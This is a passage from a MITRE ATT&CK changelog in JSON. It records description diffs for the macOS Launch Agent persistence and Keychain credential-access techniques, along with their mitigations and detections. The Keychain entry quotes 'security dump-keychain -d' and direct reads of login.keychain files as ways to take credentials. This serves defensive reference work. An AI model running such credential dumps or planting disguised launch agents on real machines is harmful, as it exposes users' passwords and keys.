nowrap=\"nowrap\">etwork.(Citation:&nbsp;Cyber&nbsp;Security&nbsp;News)&nbsp;&nbsp;Such&nbsp;accounts&nbsp;may&nbsp;be</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">etwork.(Citation:&nbsp;Cyber&nbsp;Security&nbsp;News)&nbsp;&nbsp;Such&nbsp;accounts&nbsp;may&nbsp;be</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;used&nbsp;to&nbsp;establish&nbsp;secondary&nbsp;credentialed&nbsp;access&nbsp;that&nbsp;do<span class=\"diff_chg\">&nbsp;not</span></td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;used&nbsp;to&nbsp;establish&nbsp;secondary&nbsp;credentialed&nbsp;access&nbsp;that&nbsp;do<span class=\"diff_chg\">es&nbsp;n</span></td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_chg\"></span>&nbsp;require&nbsp;persistent&nbsp;remote&nbsp;access&nbsp;tools&nbsp;to&nbsp;be&nbsp;deployed&nbsp;on&nbsp;th</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_chg\">ot</span>&nbsp;require&nbsp;persistent&nbsp;remote&nbsp;access&nbsp;tools&nbsp;to&nbsp;be&nbsp;deployed&nbsp;on&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;system.</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">the&nbsp;system.</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1026: Privileged Account Management",
                            "M1032: Multi-factor Authentication"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0447: T1136.001 Detection Strategy - Local Account Creation Across Platforms"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-01-17 16:10:58.592000+00:00",
                    "modified": "2026-11-04 00:50:03.553000+00:00",
                    "name": "Launch Agent",
                    "description": "Adversaries may create or modify launch agents to repeatedly execute malicious payloads as part of persistence. When a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (.plist) file found in <code>/System/Library/LaunchAgents</code>, <code>/Library/LaunchAgents</code>, and <code>~/Library/LaunchAgents</code>.(Citation: AppleDocs Launch Agent Daemons)(Citation: OSX Keydnap malware)(Citation: Antiquated Mac Malware) Property list files use the <code>Label</code>, <code>ProgramArguments </code>, and <code>RunAtLoad</code> keys to identify the Launch Agent's name, executable location, and execution time.(Citation: OSX.Dok Malware) Launch Agents are often installed to perform updates to programs, launch user specified programs at login, or to conduct other developer tasks.\n\n Launch Agents can also be executed using the [Launchctl](https://attack.mitre.org/techniques/T1569/001) command.\n \nAdversaries may install a new Launch Agent that executes at login by placing a .plist file into the appropriate folders with the <code>RunAtLoad</code> or <code>KeepAlive</code> keys set to <code>true</code>.(Citation: Sofacy Komplex Trojan)(Citation: Methods of Mac Malware Persistence) The Launch Agent name may be disguised by using a name from the related operating system or benign software. Launch Agents are created with user level privileges and execute with user level permissions.(Citation: OSX Malware Detection)(Citation: OceanLotus for OS X) ",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "persistence"
                        },
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "privilege-escalation"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1543/001",
                            "external_id": "T1543.001"
                        },
                        {
                            "source_name": "AppleDocs Launch Agent Daemons",
                            "description": "Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.",
                            "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html"
                        },
                        {
                            "source_name": "Sofacy Komplex Trojan",
                            "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.",
                            "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/"
                        },
                        {
                            "source_name": "OceanLotus for OS X",
                            "description": "Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017.",
                            "url": "https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update"
                        },
                        {
                            "source_name": "OSX Keydnap malware",
                            "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.",
                            "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/"
                        },
                        {
                            "source_name": "Methods of Mac Malware Persistence",
                            "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
                            "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
                        },
                        {
                            "source_name": "OSX Malware Detection",
                            "description": "Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved November 17, 2024.",
                            "url": "https://papers.put.as/papers/macosx/2016/RSA_OSX_Malware.pdf"
                        },
                        {
                            "source_name": "Antiquated Mac Malware",
                            "description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.",
                            "url": "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/"
                        },
                        {
                            "source_name": "OSX.Dok Malware",
                            "description": "Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017.",
                            "url": "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Antonio Piazza, @antman1p"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "macOS"
                    ],
                    "x_mitre_version": "1.5",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 00:50:03.553000+00:00\", \"old_value\": \"2026-05-12 15:12:00.717000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may create or modify launch agents to repeatedly execute malicious payloads as part of persistence. When a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (.plist) file found in <code>/System/Library/LaunchAgents</code>, <code>/Library/LaunchAgents</code>, and <code>~/Library/LaunchAgents</code>.(Citation: AppleDocs Launch Agent Daemons)(Citation: OSX Keydnap malware)(Citation: Antiquated Mac Malware) Property list files use the <code>Label</code>, <code>ProgramArguments </code>, and <code>RunAtLoad</code> keys to identify the Launch Agent's name, executable location, and execution time.(Citation: OSX.Dok Malware) Launch Agents are often installed to perform updates to programs, launch user specified programs at login, or to conduct other developer tasks.\\n\\n Launch Agents can also be executed using the [Launchctl](https://attack.mitre.org/techniques/T1569/001) command.\\n \\nAdversaries may install a new Launch Agent that executes at login by placing a .plist file into the appropriate folders with the <code>RunAtLoad</code> or <code>KeepAlive</code> keys set to <code>true</code>.(Citation: Sofacy Komplex Trojan)(Citation: Methods of Mac Malware Persistence) The Launch Agent name may be disguised by using a name from the related operating system or benign software. Launch Agents are created with user level privileges and execute with user level permissions.(Citation: OSX Malware Detection)(Citation: OceanLotus for OS X) \", \"old_value\": \"Adversaries may create or modify launch agents to repeatedly execute malicious payloads as part of persistence. When a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (.plist) file found in <code>/System/Library/LaunchAgents</code>, <code>/Library/LaunchAgents</code>, and <code>~/Library/LaunchAgents</code>.(Citation: AppleDocs Launch Agent Daemons)(Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware) Property list files use the <code>Label</code>, <code>ProgramArguments </code>, and <code>RunAtLoad</code> keys to identify the Launch Agent's name, executable location, and execution time.(Citation: OSX.Dok Malware) Launch Agents are often installed to perform updates to programs, launch user specified programs at login, or to conduct other developer tasks.\\n\\n Launch Agents can also be executed using the [Launchctl](https://attack.mitre.org/techniques/T1569/001) command.\\n \\nAdversaries may install a new Launch Agent that executes at login by placing a .plist file into the appropriate folders with the <code>RunAtLoad</code> or <code>KeepAlive</code> keys set to <code>true</code>.(Citation: Sofacy Komplex Trojan)(Citation: Methods of Mac Malware Persistence) The Launch Agent name may be disguised by using a name from the related operating system or benign software. Launch Agents are created with user level privileges and execute with user level permissions.(Citation: OSX Malware Detection)(Citation: OceanLotus for OS X) \", \"diff\": \"--- \\n+++ \\n@@ -1,4 +1,4 @@\\n-Adversaries may create or modify launch agents to repeatedly execute malicious payloads as part of persistence. When a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (.plist) file found in <code>/System/Library/LaunchAgents</code>, <code>/Library/LaunchAgents</code>, and <code>~/Library/LaunchAgents</code>.(Citation: AppleDocs Launch Agent Daemons)(Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware) Property list files use the <code>Label</code>, <code>ProgramArguments </code>, and <code>RunAtLoad</code> keys to identify the Launch Agent's name, executable location, and execution time.(Citation: OSX.Dok Malware) Launch Agents are often installed to perform updates to programs, launch user specified programs at login, or to conduct other developer tasks.\\n+Adversaries may create or modify launch agents to repeatedly execute malicious payloads as part of persistence. When a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (.plist) file found in <code>/System/Library/LaunchAgents</code>, <code>/Library/LaunchAgents</code>, and <code>~/Library/LaunchAgents</code>.(Citation: AppleDocs Launch Agent Daemons)(Citation: OSX Keydnap malware)(Citation: Antiquated Mac Malware) Property list files use the <code>Label</code>, <code>ProgramArguments </code>, and <code>RunAtLoad</code> keys to identify the Launch Agent's name, executable location, and execution time.(Citation: OSX.Dok Malware) Launch Agents are often installed to perform updates to programs, launch user specified programs at login, or to conduct other developer tasks.\\n \\n  Launch Agents can also be executed using the [Launchctl](https://attack.mitre.org/techniques/T1569/001) command.\\n  \"}}}",
                    "previous_version": "1.5",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to0__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to0__0\"><a href=\"#difflib_chg_to0__top\">t</a></td><td class=\"diff_header\" id=\"from0_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;create&nbsp;or&nbsp;modify&nbsp;launch&nbsp;agents&nbsp;to&nbsp;repeatedly</td><td class=\"diff_next\"><a href=\"#difflib_chg_to0__top\">t</a></td><td class=\"diff_header\" id=\"to0_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;create&nbsp;or&nbsp;modify&nbsp;launch&nbsp;agents&nbsp;to&nbsp;repeatedly</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;execute&nbsp;malicious&nbsp;payloads&nbsp;as&nbsp;part&nbsp;of&nbsp;persistence.&nbsp;When&nbsp;a&nbsp;u</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;execute&nbsp;malicious&nbsp;payloads&nbsp;as&nbsp;part&nbsp;of&nbsp;persistence.&nbsp;When&nbsp;a&nbsp;u</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ser&nbsp;logs&nbsp;in,&nbsp;a&nbsp;per-user&nbsp;launchd&nbsp;process&nbsp;is&nbsp;started&nbsp;which&nbsp;loa</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ser&nbsp;logs&nbsp;in,&nbsp;a&nbsp;per-user&nbsp;launchd&nbsp;process&nbsp;is&nbsp;started&nbsp;which&nbsp;loa</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ds&nbsp;the&nbsp;parameters&nbsp;for&nbsp;each&nbsp;launch-on-demand&nbsp;user&nbsp;agent&nbsp;from&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ds&nbsp;the&nbsp;parameters&nbsp;for&nbsp;each&nbsp;launch-on-demand&nbsp;user&nbsp;agent&nbsp;from&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">the&nbsp;property&nbsp;list&nbsp;(.plist)&nbsp;file&nbsp;found&nbsp;in&nbsp;&lt;code&gt;/System/Libra</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">the&nbsp;property&nbsp;list&nbsp;(.plist)&nbsp;file&nbsp;found&nbsp;in&nbsp;&lt;code&gt;/System/Libra</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ry/LaunchAgents&lt;/code&gt;,&nbsp;&lt;code&gt;/Library/LaunchAgents&lt;/code&gt;,&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ry/LaunchAgents&lt;/code&gt;,&nbsp;&lt;code&gt;/Library/LaunchAgents&lt;/code&gt;,&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">and&nbsp;&lt;code&gt;~/Library/LaunchAgents&lt;/code&gt;.(Citation:&nbsp;AppleDocs</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">and&nbsp;&lt;code&gt;~/Library/LaunchAgents&lt;/code&gt;.(Citation:&nbsp;AppleDocs</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Launch&nbsp;Agent&nbsp;Daemons)(Citation:&nbsp;OSX&nbsp;Keydnap&nbsp;malware)<span class=\"diff_sub\">&nbsp;</span>(Citat</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Launch&nbsp;Agent&nbsp;Daemons)(Citation:&nbsp;OSX&nbsp;Keydnap&nbsp;malware)(Citati</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ion:&nbsp;Antiquated&nbsp;Mac&nbsp;Malware)&nbsp;Property&nbsp;list&nbsp;files&nbsp;use&nbsp;the&nbsp;&lt;co</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">on:&nbsp;Antiquated&nbsp;Mac&nbsp;Malware)&nbsp;Property&nbsp;list&nbsp;files&nbsp;use&nbsp;the&nbsp;&lt;cod</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">de&gt;Label&lt;/code&gt;,&nbsp;&lt;code&gt;ProgramArguments&nbsp;&lt;/code&gt;,&nbsp;and&nbsp;&lt;code&gt;R</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&gt;Label&lt;/code&gt;,&nbsp;&lt;code&gt;ProgramArguments&nbsp;&lt;/code&gt;,&nbsp;and&nbsp;&lt;code&gt;Ru</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">unAtLoad&lt;/code&gt;&nbsp;keys&nbsp;to&nbsp;identify&nbsp;the&nbsp;Launch&nbsp;Agent's&nbsp;name,&nbsp;ex</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nAtLoad&lt;/code&gt;&nbsp;keys&nbsp;to&nbsp;identify&nbsp;the&nbsp;Launch&nbsp;Agent's&nbsp;name,&nbsp;exe</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ecutable&nbsp;location,&nbsp;and&nbsp;execution&nbsp;time.(Citation:&nbsp;OSX.Dok&nbsp;Mal</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cutable&nbsp;location,&nbsp;and&nbsp;execution&nbsp;time.(Citation:&nbsp;OSX.Dok&nbsp;Malw</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ware)&nbsp;Launch&nbsp;Agents&nbsp;are&nbsp;often&nbsp;installed&nbsp;to&nbsp;perform&nbsp;updates&nbsp;t</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">are)&nbsp;Launch&nbsp;Agents&nbsp;are&nbsp;often&nbsp;installed&nbsp;to&nbsp;perform&nbsp;updates&nbsp;to</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">o&nbsp;programs,&nbsp;launch&nbsp;user&nbsp;specified&nbsp;programs&nbsp;at&nbsp;login,&nbsp;or&nbsp;to&nbsp;c</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;programs,&nbsp;launch&nbsp;user&nbsp;specified&nbsp;programs&nbsp;at&nbsp;login,&nbsp;or&nbsp;to&nbsp;co</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">onduct&nbsp;other&nbsp;developer&nbsp;tasks.&nbsp;&nbsp;&nbsp;Launch&nbsp;Agents&nbsp;can&nbsp;also&nbsp;be&nbsp;ex</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nduct&nbsp;other&nbsp;developer&nbsp;tasks.&nbsp;&nbsp;&nbsp;Launch&nbsp;Agents&nbsp;can&nbsp;also&nbsp;be&nbsp;exe</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ecuted&nbsp;using&nbsp;the&nbsp;[Launchctl](https://attack.mitre.org/techni</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cuted&nbsp;using&nbsp;the&nbsp;[Launchctl](https://attack.mitre.org/techniq</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ques/T1569/001)&nbsp;command.&nbsp;&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;install&nbsp;a&nbsp;new&nbsp;Lau</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ues/T1569/001)&nbsp;command.&nbsp;&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;install&nbsp;a&nbsp;new&nbsp;Laun</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nch&nbsp;Agent&nbsp;that&nbsp;executes&nbsp;at&nbsp;login&nbsp;by&nbsp;placing&nbsp;a&nbsp;.plist&nbsp;file&nbsp;in</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ch&nbsp;Agent&nbsp;that&nbsp;executes&nbsp;at&nbsp;login&nbsp;by&nbsp;placing&nbsp;a&nbsp;.plist&nbsp;file&nbsp;int</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">to&nbsp;the&nbsp;appropriate&nbsp;folders&nbsp;with&nbsp;the&nbsp;&lt;code&gt;RunAtLoad&lt;/code&gt;&nbsp;o</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">o&nbsp;the&nbsp;appropriate&nbsp;folders&nbsp;with&nbsp;the&nbsp;&lt;code&gt;RunAtLoad&lt;/code&gt;&nbsp;or</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">r&nbsp;&lt;code&gt;KeepAlive&lt;/code&gt;&nbsp;keys&nbsp;set&nbsp;to&nbsp;&lt;code&gt;true&lt;/code&gt;.(Cita</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;&lt;code&gt;KeepAlive&lt;/code&gt;&nbsp;keys&nbsp;set&nbsp;to&nbsp;&lt;code&gt;true&lt;/code&gt;.(Citat</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tion:&nbsp;Sofacy&nbsp;Komplex&nbsp;Trojan)(Citation:&nbsp;Methods&nbsp;of&nbsp;Mac&nbsp;Malwar</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ion:&nbsp;Sofacy&nbsp;Komplex&nbsp;Trojan)(Citation:&nbsp;Methods&nbsp;of&nbsp;Mac&nbsp;Malware</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;Persistence)&nbsp;The&nbsp;Launch&nbsp;Agent&nbsp;name&nbsp;may&nbsp;be&nbsp;disguised&nbsp;by&nbsp;usi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Persistence)&nbsp;The&nbsp;Launch&nbsp;Agent&nbsp;name&nbsp;may&nbsp;be&nbsp;disguised&nbsp;by&nbsp;usin</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ng&nbsp;a&nbsp;name&nbsp;from&nbsp;the&nbsp;related&nbsp;operating&nbsp;system&nbsp;or&nbsp;benign&nbsp;softwa</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">g&nbsp;a&nbsp;name&nbsp;from&nbsp;the&nbsp;related&nbsp;operating&nbsp;system&nbsp;or&nbsp;benign&nbsp;softwar</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">re.&nbsp;Launch&nbsp;Agents&nbsp;are&nbsp;created&nbsp;with&nbsp;user&nbsp;level&nbsp;privileges&nbsp;and</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e.&nbsp;Launch&nbsp;Agents&nbsp;are&nbsp;created&nbsp;with&nbsp;user&nbsp;level&nbsp;privileges&nbsp;and&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;execute&nbsp;with&nbsp;user&nbsp;level&nbsp;permissions.(Citation:&nbsp;OSX&nbsp;Malware&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">execute&nbsp;with&nbsp;user&nbsp;level&nbsp;permissions.(Citation:&nbsp;OSX&nbsp;Malware&nbsp;D</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Detection)(Citation:&nbsp;OceanLotus&nbsp;for&nbsp;OS&nbsp;X)&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">etection)(Citation:&nbsp;OceanLotus&nbsp;for&nbsp;OS&nbsp;X)&nbsp;</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1022: Restrict File and Directory Permissions"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0434: Detection of Launch Agent Creation or Modification on macOS"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--1eaebf46-e361-4437-bc23-d5d65a3b92e3",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-02-12 18:55:24.728000+00:00",
                    "modified": "2026-11-03 21:47:36.376000+00:00",
                    "name": "Keychain",
                    "description": "Adversaries may acquire credentials from Keychain. Keychain (or Keychain Services) is the macOS credential management system that stores account names, passwords, private keys, certificates, sensitive application data, payment data, and secure notes. There are three types of Keychains: Login Keychain, System Keychain, and Local Items (iCloud) Keychain. The default Keychain is the Login Keychain, which stores user passwords and information. The System Keychain stores items accessed by the operating system, such as items shared among users on a host. The Local Items (iCloud) Keychain is used for items synced with Apple\u2019s iCloud service. \n\nKeychains can be viewed and edited through the Keychain Access application or using the command-line utility <code>security</code>. Keychain files are located in <code>~/Library/Keychains/</code>, <code>/Library/Keychains/</code>, and <code>/Network/Library/Keychains/</code>.(Citation: Keychain Services Apple)(Citation: Keychain Decryption Passware)(Citation: OSX Keychain Schaumann)\n\nAdversaries may gather user credentials from Keychain storage/memory. For example, the command <code>security dump-keychain \u2013d</code> will dump all Login Keychain credentials from <code>~/Library/Keychains/login.keychain-db</code>. Adversaries may also directly read Login Keychain credentials from the <code>~/Library/Keychains/login.keychain</code> file. Both methods require a password, where the default password for the Login Keychain is the current user\u2019s password to log in to the macOS host.(Citation: External to DA, the OS X Way)(Citation: Empire Keychain Decrypt)  ",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "credential-access"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1555/001",
                            "external_id": "T1555.001"
                        },
                        {
                            "source_name": "External to DA, the OS X Way",
                            "description": "Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved September 12, 2024.",
                            "url": "https://www.slideshare.net/slideshow/external-to-da-the-os-x-way/62021418"
                        },
                        {
                            "source_name": "Keychain Services Apple",
                            "description": "Apple. (n.d.). Keychain Services. Retrieved April 11, 2022.",
                            "url": "https://developer.apple.com/documentation/security/keychain_services"
                        },
                        {
                            "source_name": "Empire Keychain Decrypt",
                            "description": "Empire. (2018, March 8). Empire keychaindump_decrypt Module. Retrieved April 14, 2022.",
                            "url": "https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/python/collection/osx/keychaindump_decrypt.py"
                        },
                        {
                            "source_name": "OSX Keychain Schaumann",
                            "description": "Jan Schaumann. (2015, November 5). Using the OS X Keychain to store and retrieve passwords. Retrieved March 31, 2022.",
                            "url": "https://www.netmeister.org/blog/keychain-passwords.html"
                        },
                        {
                            "source_name": "Keychain Decryption Passware",
                            "description": "Yana Gourenko. (n.d.). A Deep Dive into Apple Keychain Decryption. Retrieved April 13, 2022.",
                            "url": "https://support.passware.com/hc/en-us/articles/4573379868567-A-Deep-Dive-into-Apple-Keychain-Decryption"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "macOS"
                    ],
                    "x_mitre_version": "1.1",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 21:47:36.376000+00:00\", \"old_value\": \"2026-05-12 15:12:00.622000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may acquire credentials from Keychain. Keychain (or Keychain Services) is the macOS credential management system that stores account names, passwords, private keys, certificates, sensitive application data, payment data, and secure notes. There are three types of Keychains: Login Keychain, System Keychain, and Local Items (iCloud) Keychain. The default Keychain is the Login Keychain, which stores user passwords and information. The System Keychain stores items accessed by the operating system, such as items shared among users on a host. The Local Items (iCloud) Keychain is used for items synced with Apple\\u2019s iCloud service. \\n\\nKeychains can be viewed and edited through the Keychain Access application or using the command-line utility <code>security</code>. Keychain files are located in <code>~/Library/Keychains/</code>, <code>/Library/Keychains/</code>, and <code>/Network/Library/Keychains/</code>.(Citation: Keychain Services Apple)(Citation: Keychain Decryption Passware)(Citation: OSX Keychain Schaumann)\\n\\nAdversaries may gather user credentials from Keychain storage/memory. For example, the command <code>security dump-keychain \\u2013d</code> will dump all Login Keychain credentials from <code>~/Library/Keychains/login.keychain-db</code>. Adversaries may also directly read Login Keychain credentials from the <code>~/Library/Keychains/login.keychain</code> file. Both methods require a password, where the default password for the Login Keychain is the current user\\u2019s password to log in to the macOS host.(Citation: External to DA, the OS X Way)(Citation: Empire Keychain Decrypt)  \", \"old_value\": \"Adversaries may acquire credentials from Keychain. Keychain 